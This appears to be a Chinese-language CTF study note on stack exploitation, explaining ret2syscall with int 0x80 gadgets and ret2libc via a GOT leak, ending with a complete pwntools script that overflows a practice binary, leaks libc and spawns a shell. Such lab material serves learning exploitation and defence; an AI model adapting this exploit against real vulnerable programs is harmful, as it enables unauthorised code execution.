C语言基本函数补充
write函数
ret2syscall
要求有0x80这种系统调用存在 (0x0A是回车的意思)
案例
通过file查看这个文件 发现是静态编译的文件 所以很多库函数都被编译进去了
但是不存在bin/sh字符串 不存在system和backdoor函数
修改,read的第一个参数为0 标准输入为0 标准输出为1 标准错误输出为2
系统调用需要用到的寄存器
通过ROPgadget工具来查找 int 0x80
ROPgadget --binary xxxx | grep "int 0x80"
通过ROPgadget来查找getshell所需要的片段 但是这个工具找不到int 0x80 ret 其它可以找到
可以通过ropper去查找
参考exp
bss字段是一个可读可写的地址 sleep(1)是为了避免程序输入过快 两个p.sendline怕同时发过去 给程序一点执行的时间 在执行的过程中 第一个int_0x80触发系统调用read 我们将第二次的p.sendling的内容也就是/bin/sh发给read写入到bss段中 之后完毕以后程序继续执行第一次发送的payload的后续内容 一步一步通过execve去执行bss段的内容也就是/bin/sh 从而getshell
ret2libc
一般思路:找到libc的基地址,再根据偏移找到system函数的地址
system和read函数在同一个libc中,所以运行以后找到read的真实地址,同时结合已知的偏移地址计算出基地址,用这个基地址去计算想要的函数的真实地址即可。
对于NX保护的情况 libc表中存放了偏移地址 got表存放了函数的真实地址
案例
got表中会存储已经执行过的函数的地址
参考exp:
exp2:
exp3:
借助idd找到lib的具体地址 之后将地址加载带ELF后面即可
如果是远程比赛的时候 将libc下载下来即可
from pwn import *
file_path='./level1'
context(log_level = 'debug',arch='i386',os='linux')
elf=ELF(file_path)
p=process('./level1')
#system_plt = elf.plt['system']
libc=ELF("/lib/i386-linux-gnu/libc.so.6")write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7payload = b'a'*0x88 + b'b'*0x4 +p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a'*0x88+b'b'*0x4+p32(system)+p32(main_addr)+p32(binsh)
p.send(payload2)
p.interactive()